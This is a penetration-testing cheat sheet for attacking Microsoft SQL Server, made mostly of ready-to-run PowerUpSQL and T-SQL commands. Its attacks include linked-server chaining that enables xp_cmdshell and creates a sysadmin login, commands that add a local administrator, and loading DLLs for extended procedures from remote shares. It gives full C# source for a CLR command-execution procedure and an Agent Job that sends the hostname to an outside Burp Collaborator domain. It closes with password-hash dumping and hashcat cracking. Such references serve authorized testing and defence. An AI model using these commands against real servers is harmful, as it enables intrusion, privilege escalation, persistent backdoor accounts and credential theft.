MSSQL Server

Summary

1. MSSQL Server
    1. Summary
    2. Identify Instances and Databases
        1. Discover Local SQL Server Instances
        2. Discover Domain SQL Server Instances
        3. Discover Remote SQL Server Instances
        4. Identify Encrypted databases
        5. Version Query
    3. Identify Sensitive Information
        1. Get Tables from a Specific Database
        2. Gather 5 Entries from Each Column
        3. Gather 5 Entries from a Specific Table
        4. Dump common information from server to files
    4. Linked Database
        1. Find Trusted Link
        2. Execute Query Through The Link
        3. Crawl Links for Instances in the Domain
        4. Crawl Links for a Specific Instance
        5. Query Version of Linked Database
        6. Execute Procedure on Linked Database
        7. Determine Names of Linked Databases
        8. Determine All the Tables Names from a Selected Linked Database
        9. Gather the Top 5 Columns from a Selected Linked Table
        10. Gather Entries from a Selected Linked Column
    5. Command Execution via xp_cmdshell
    6. Extended Stored Procedure
        1. Add the extended stored procedure and list extended stored procedures
    7. CLR Assemblies
        1. Execute commands using CLR assembly
        2. Manually creating a CLR DLL and importing it
    8. OLE Automation
        1. Execute commands using OLE automation procedures
    9. Agent Jobs
        1. Execute commands through SQL Agent Job service
        2. List All Jobs
    10. External Scripts
    11. Python:
    12. R
    13. Audit Checks
        1. Find and exploit impersonation opportunities
    14. Find databases that have been configured as trustworthy
    15. Manual SQL Server Queries
        1. Query Current User & determine if the user is a sysadmin
        2. Current Role
        3. Current DB

4. List all tables
5. List all databases
6. All Logins on Server
7. All Database Users for a Database
8. List All Sysadmins
9. List All Database Roles
10. Effective Permissions from the Server
11. Effective Permissions from the Database
12. Find SQL Server Logins Which can be Impersonated for the Current Database
13. Exploiting Impersonation
14. Exploiting Nested Impersonation
15. MSSQL Accounts and Hashes
16. References

Identify Instances and Databases

Discover Local SQL Server Instances

```
Get-SQLInstanceLocal
```

Discover Domain SQL Server Instances

```
Get-SQLInstanceDomain -Verbose
# Get Server Info for Found Instances
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Get Database Names
Get-SQLInstanceDomain | Get-SQLDatabase -NoDefaults
```

Discover Remote SQL Server Instances

```
Get-SQLInstanceBroadcast -Verbose
Get-SQLInstanceScanUDPThreaded -Verbose -ComputerName SQLServer1
```

Identify Encrypted databases

Note: These are automatically decrypted for admins

```
Get-SQLDatabase -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Verbose | Where-Object {$_.is_encrypted -eq "True"}
```

Version Query

```
Get-SQLInstanceDomain | Get-Query "select @@version"
```

Identify Sensitive Information

Get Tables from a Specific Database

```
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DBNameFromGet-SQLDatabaseCommand>
-NoDefaults
Get Column Details from a Table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DBName> -TableName <TableName>
```

Gather 5 Entries from Each Column

```
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "
<columnname1,columnname2,columnname3,columnname4,columnname5>" -Verbose -SampleSize 5
```

Gather 5 Entries from a Specific Table

```
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query 'select TOP 5 * from
<DatabaseName>.dbo.<TableName>'
```

Dump common information from server to files

```
Invoke-SQLDumpInfo -Verbose -Instance SQLSERVER1\Instance1 -csv
```

Linked Database

Find Trusted Link

```
select * from master..sysservers
```

Execute Query Through The Link

```
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');

-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select
@@version as version")')

-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')

-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT
"DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
"DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
```

Crawl Links for Instances in the Domain

A Valid Link Will Be Identified by the DatabaseLinkName Field in the Results

```
Get-SQLInstanceDomain | Get-SQLServerLink -Verbose
```

Crawl Links for a Specific Instance

```
Get-SQLServerLinkCrawl -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```

Query Version of Linked Database

```
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"
<DBSERVERNAME\DBInstance>`",'select @@version')" -Verbose
```

Execute Procedure on Linked Database

```
SQL> EXECUTE('EXEC sp_configure ''show advanced options'',1') at
"linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('EXEC sp_configure ''xp_cmdshell'',1;') at "linked.database.local";
SQL> EXECUTE('RECONFIGURE') at "linked.database.local";
SQL> EXECUTE('exec xp_cmdshell whoami') at "linked.database.local";
```

Determine Names of Linked Databases

> tempdb, model ,and msdb are default databases usually not worth looking into. Master is also default but may have something and anything else is custom and definitely worth digging into. The result is DatabaseName which feeds into following query.

```
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"
<DatabaseLinkName>`",'select name from sys.databases')" -Verbose
```

Determine All the Tables Names from a Selected Linked Database

> The result is TableName which feeds into following query

```
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"
<DatabaseLinkName>`",'select name from
<DatabaseNameFromPreviousCommand>.sys.tables')" -Verbose
```

Gather the Top 5 Columns from a Selected Linked Table

> The results are ColumnName and ColumnValue which feed into following query

```
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"
<DatabaseLinkName>`",'select TOP 5 * from <DatabaseNameFromPreviousCommand>.dbo.
<TableNameFromPreviousCommand>')" -Verbose
```

Gather Entries from a Selected Linked Column

```
Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "select * from openquery(`"
<DatabaseLinkName>`"'select * from <DatabaseNameFromPreviousCommand>.dbo.
<TableNameFromPreviousCommand> where <ColumnNameFromPreviousCommand>=
<ColumnValueFromPreviousCommand>')" -Verbose
```

Command Execution via xp_cmdshell

> xp_cmdshell disabled by default since SQL Server 2005

```
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command whoami

# Creates and adds local user backup to the local administrators group:
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "net user backup Password1234 /add'" -Verbose
PowerUpSQL> Invoke-SQLOSCmd -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "net localgroup administrators backup /add" -
Verbose
```

- Manually execute the SQL query

  ```
  EXEC xp_cmdshell "net user";
  EXEC master..xp_cmdshell 'whoami'
  EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
  EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
  ```

- If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

  ```
  EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;
  EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;
  ```

- If the procedure was uninstalled

```
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
```

Extended Stored Procedure

Add the extended stored procedure and list extended stored procedures

```
# Create evil DLL
Create-SQLFileXpDll -OutFile C:\temp\test.dll -Command "echo test > c:\temp\test.txt"
-ExportName xp_test

# Load the DLL and call xp_test
Get-SQLQuery -UserName sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Query "sp_addextendedproc 'xp_test',
'\\10.10.0.1\temp\test.dll'"
Get-SQLQuery -UserName sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Query "EXEC xp_test"

# Listing existing
Get-SQLStoredProcedureXP -Instance "<DBSERVERNAME\DBInstance>" -Verbose
```

- Build a DLL using xp_evil_template.cpp
- Load the DLL

  ```
  -- can also be loaded from UNC path or Webdav
  sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
  EXEC xp_calc
  sp_dropextendedproc 'xp_calc'
  ```

CLR Assemblies

Prerequisites:

- sysadmin privileges
- CREATE ASSEMBLY permission (or)
- ALTER ASSEMBLY permission (or)

Execute commands using CLR assembly

```
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
or
Invoke-SQLOSCmdCLR -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64>" -Verbose
```

Manually creating a CLR DLL and importing it

Create a C# DLL file with the following content, with the command :
`C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library`

`c:\temp\cmd_exec.cs`

```
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void cmd_exec (SqlString execCommand)
    {
        Process proc = new Process();
        proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
        proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();

        // Create the record and specify the metadata for the columns.
        SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output",
SqlDbType.NVarChar, 4000));

        // Mark the beginning of the result set.
        SqlContext.Pipe.SendResultsStart(record);

        // Set values for each column in the row
        record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());

        // Send the row back to the client.
        SqlContext.Pipe.SendResultsRow(record);

        // Mark the end of the result set.
        SqlContext.Pipe.SendResultsEnd();

        proc.WaitForExit();
        proc.Close();
    }
};
```

Then follow these instructions:

1. Enable `show advanced options` on the server

```
sp_configure 'show advanced options',1;
RECONFIGURE
GO
```

2. Enable CLR on the server

```
sp_configure 'clr enabled',1
RECONFIGURE
GO
```

3. Import the assembly

```
CREATE ASSEMBLY my_assembly
FROM 'c:\temp\cmd_exec.dll'
WITH PERMISSION_SET = UNSAFE;
```

4. Link the assembly to a stored procedure

```
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
```

5. Execute and clean

```
cmd_exec "whoami"
DROP PROCEDURE cmd_exec
DROP ASSEMBLY my_assembly
```

CREATE ASSEMBLY will also accept an hexadecimal string representation of a CLR DLL

```
CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM
0x4D5A90000300000004000000F[TRUNCATED]
WITH PERMISSION_SET = UNSAFE
GO
```

OLE Automation

- :warning: Disabled by default

Execute commands using OLE automation procedures

```
Invoke-SQLOSCmdOle -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "whoami" Verbose
```

```
# Enable OLE Automation
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
```

```
# Execute commands
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```

```
# https://github.com/blackarrowsec/mssqlproxy/blob/master/mssqlclient.py
python3 mssqlclient.py 'host/username:password@10.10.10.10' -install -clr
Microsoft.SqlServer.Proxy.dll
python3 mssqlclient.py 'host/username:password@10.10.10.10' -check -reciclador
'C:\windows\temp\reciclador.dll'
python3 mssqlclient.py 'host/username:password@10.10.10.10' -start -reciclador
'C:\windows\temp\reciclador.dll'
SQL> enable_ole
SQL> upload reciclador.dll C:\windows\temp\reciclador.dll
```

Agent Jobs

Execute commands through SQL Agent Job service

```
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password Password1234 -
Instance "<DBSERVERNAME\DBInstance>" -Command "powershell e <base64encodedscript>" -
Verbose
Subsystem Options:
–Subsystem CmdExec
-SubSystem PowerShell
–Subsystem VBScript
–Subsystem Jscript
```

```
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name =
N'test_powershell_name1', @subsystem = N'PowerShell', @command =
N'$name=$env:COMPUTERNAME[10];nslookup "$name.redacted.burpcollaborator.net"',
@retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';

-- delete
EXEC dbo.sp_delete_job @job_name = N'test_powershell_job1';
```

List All Jobs

```
SELECT job_id, [name] FROM msdb.dbo.sysjobs;
SELECT job.job_id, notify_level_email, name, enabled, description, step_name,
command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN
msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
Get-SQLAgentJob -Instance "<DBSERVERNAME\DBInstance>" -username sa -Password
Password1234 -Verbose
```

External Scripts

:warning: You need to enable **external scripts**.

```
sp_configure 'external scripts enabled', 1;
RECONFIGURE;
```

Python:

```
Invoke-SQLOSCmdPython -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
```

R

```
Invoke-SQLOSCmdR -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Command "powershell -e <base64encodedscript>" -Verbose
```

Audit Checks

Find and exploit impersonation opportunities

- Impersonate as: `EXECUTE AS LOGIN = 'sa'`
- Impersonate `dbo` with DB_OWNER

  ```
  SQL> select is_member('db_owner');
  SQL> execute as user = 'dbo'
  SQL> SELECT is_srvrolemember('sysadmin')
  ```

```
Invoke-SQLAuditPrivImpersonateLogin -Username sa -Password Password1234 -Instance "
<DBSERVERNAME\DBInstance>" -Exploit -Verbose

# impersonate sa account
powerpick Get-SQLQuery -Instance "<DBSERVERNAME\DBInstance>" -Query "EXECUTE AS LOGIN
= 'sa'; SELECT IS_SRVROLEMEMBER(''sysadmin'')" -Verbose -Debug
```

Find databases that have been configured as trustworthy

```
Invoke-SQLAuditPrivTrustworthy -Instance "<DBSERVERNAME\DBInstance>" -Exploit -
Verbose
```

> The following audit checks run web requests to load Inveigh via reflection. Be mindful of the environment and ability to connect outbound.

```
Invoke-SQLAuditPrivXpDirtree
Invoke-SQLUncPathInjection
Invoke-SQLAuditPrivXpFileexist
```

Manual SQL Server Queries

Query Current User & determine if the user is a sysadmin

```
select suser_sname()
Select system_user
select is_srvrolemember('sysadmin')
```

Current Role

```
Select user
```

Current DB

```
select db_name()
```

List all tables

```
select table_name from information_schema.tables
```

List all databases

```
select name from master..sysdatabases
```

All Logins on Server

```
Select * from sys.server_principals where type_desc != 'SERVER_ROLE'
```

All Database Users for a Database

```
Select * from sys.database_principals where type_desc != 'database_role';
```

List All Sysadmins

```
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER
('sysadmin',name) = 1
```

List All Database Roles

```
SELECT DB1.name AS DatabaseRoleName,
isnull (DB2.name, 'No members') AS DatabaseUserName
FROM sys.database_role_members AS DRM
RIGHT OUTER JOIN sys.database_principals AS DB1
ON DRM.role_principal_id = DB1.principal_id
LEFT OUTER JOIN sys.database_principals AS DB2
ON DRM.member_principal_id = DB2.principal_id
WHERE DB1.type = 'R'
ORDER BY DB1.name;
```

Effective Permissions from the Server

```
select * from fn_my_permissions(null, 'server');
```

Effective Permissions from the Database

```
SELECT * FROM fn_dp1my_permissions(NULL, 'DATABASE');
```

Find SQL Server Logins Which can be Impersonated for the Current Database

```
select distinct b.name
from sys.server_permissions a
inner join sys.server_principals b
on a.grantor_principal_id = b.principal_id
where a.permission_name = 'impersonate'
```

Exploiting Impersonation

```
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'adminuser'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
```

Exploiting Nested Impersonation

```
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
EXECUTE AS LOGIN = 'stduser'
SELECT SYSTEM_USER
EXECUTE AS LOGIN = 'sa'
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT ORIGINAL_LOGIN()
SELECT SYSTEM_USER
```

MSSQL Accounts and Hashes

```
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to
convert to hex to return hashes in MSSQL error message / some version of query
analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from
master.sys.sql_logins
```

Then crack passwords using Hashcat : `hashcat -m 1731 -a 0 mssql_hashes_hashcat.txt /usr/share/wordlists/rockyou.txt --force`

```
131 MSSQL (2000)
0x01002702560500000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515c
b8ce46578
132 MSSQL (2005)    0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
1731    MSSQL (2012, 2014)
0x02000102030434ea1b17802fd95ea6316bd61d2c94622ca3812793e8fb1672487b5c904a45a31b2ab4a
78890d563d2fcf5663e46fe797d71550494be50cf4915d3f4d55ec375
```

References

- PowerUpSQL Cheat Sheet & SQL Server Queries - Leo Pitt
- PowerUpSQL Cheat Sheet - Scott Sutherland
- Attacking SQL Server CLR Assemblies - Scott Sutherland - July 13th, 2017
- MSSQL Agent Jobs for Command Execution - Nicholas Popovich - September 21, 2016